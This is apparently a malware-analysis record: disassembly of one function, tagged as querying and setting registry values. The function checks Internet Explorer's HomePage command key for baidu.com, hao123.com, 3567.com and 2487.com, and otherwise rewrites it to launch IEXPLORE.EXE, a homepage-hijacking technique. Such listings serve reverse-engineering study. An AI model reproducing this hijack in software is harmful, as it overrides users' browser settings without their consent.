Function at 0x401f10
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x42a018
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
mov eax, dword [0x435ca4]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
push 0xff
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 1
call fcn.00404273
add esp, 4
mov esi, eax
lea eax, [esp + 0x10]
push eax
push 0xf003f
push 0
push str.CLSID871C5380_42A0_1069_A2EA_08002B30309D_shellOpenHomePageCommand_
push 0x80000000
mov dword [esp + 0x2c], 0xff
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x401f8e
xor eax, eax
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x2c
ret
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push ecx
push esi
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401f7b
lea ecx, [esp + 8]
push ecx
call fcn.004023e0
push esi
mov dword [esp + 0x34], 0
call fcn.00404268
add esp, 4
push 0x42f667
lea ecx, [esp + 0x10]
call fcn.00402e40
lea edx, [esp + 0x1c]
push edx
mov byte [esp + 0x34], 1
call fcn.00403eb0
mov esi, dword [eax]
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
add esp, 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402009
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
je 0x40204e
lea ecx, [esp + 0x1c]
push ecx
call fcn.00403eb0
add esp, 4
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x34], 2
call fcn.00403170
mov byte [esp + 0x30], 1
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40204e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0xc]
push 0x42f667
push ecx
call fcn.004159ac
add esp, 8
test eax, eax
setne al
test al, al
je 0x4021a2
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x24]
push 0x42f4f0
push eax
call fcn.00402680
push 0x42f4f0
push eax
lea ecx, [esp + 0x30]
push ecx
mov byte [esp + 0x48], 3
call fcn.004025a0
add esp, 0x18
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x34], 4
call fcn.00403170
mov byte [esp + 0x30], 3
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4020cd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x30], 1
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4020f2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0xc]
push ecx
push edx
call fcn.00415643
add esp, 8
test eax, eax
je 0x4022ad
mov eax, dword [esp + 8]
push str.baidu.com
push eax
call fcn.00415310
add esp, 8
test eax, eax
je 0x402144
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0xc]
call fcn.00403220
lea ecx, [esp + 8]
call fcn.00403220
jmp 0x402305
mov edx, dword [esp + 8]
push str.hao123.com
push edx
call fcn.00415310
add esp, 8
test eax, eax
je 0x402161
mov eax, dword [esp + 0x10]
push eax
jmp 0x402127
mov ecx, dword [esp + 8]
push str.3567.com
push ecx
call fcn.00415310
add esp, 8
test eax, eax
je 0x40217e
mov edx, dword [esp + 0x10]
push edx
jmp 0x402127
mov eax, dword [esp + 8]
push str.2487.com
push eax
call fcn.00415310
add esp, 8
test eax, eax
jne 0x402122
push ecx
mov dword [esp + 0x24], esp
lea edx, [esp + 0x10]
jmp 0x402286
mov edx, dword [esp + 8]
push 0x42f4f4
push edx
call fcn.00415310
add esp, 8
test eax, eax
je 0x4022ad
mov eax, dword [esp + 8]
push str.baidu.com
push eax
call fcn.00415310
add esp, 8
test eax, eax
jne 0x402122
mov edx, dword [esp + 8]
push str.hao123.com
push edx
call fcn.00415310
add esp, 8
test eax, eax
jne 0x40215a
mov ecx, dword [esp + 8]
push str.3567.com
push ecx
call fcn.00415310
add esp, 8
test eax, eax
jne 0x402177
mov eax, dword [esp + 8]
push str.2487.com
push eax
call fcn.00415310
add esp, 8
test eax, eax
jne 0x402122
mov ecx, str.Internet_Explorer
lea esi, [esp + 8]
call fcn.00402470
test eax, eax
je 0x4022ad
push eax
lea edx, [esp + 0x20]
push edx
mov ecx, esi
call fcn.00402520
push str.Internet_ExplorerIEXPLORE.EXE_
push eax
lea eax, [esp + 0x28]
push eax
mov byte [esp + 0x3c], 5
call fcn.004025a0
add esp, 0xc
push eax
mov ecx, esi
mov byte [esp + 0x34], 6
call fcn.00403170
lea ecx, [esp + 0x20]
call fcn.00403220
lea ecx, [esp + 0x1c]
mov byte [esp + 0x30], 1
call fcn.00403220
push ecx
mov dword [esp + 0x28], esp
mov edx, esi
mov ecx, esp
push edx
call fcn.004032e0
call fcn.00402320
mov ecx, dword [esp + 0x10]
push 0xff
push eax
mov eax, dword [esp + 0x1c]
push eax
push 0
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [esp + 0x30], 0
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4022dd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x30], 0xffffffff
mov eax, dword [esp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402305
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x2c
ret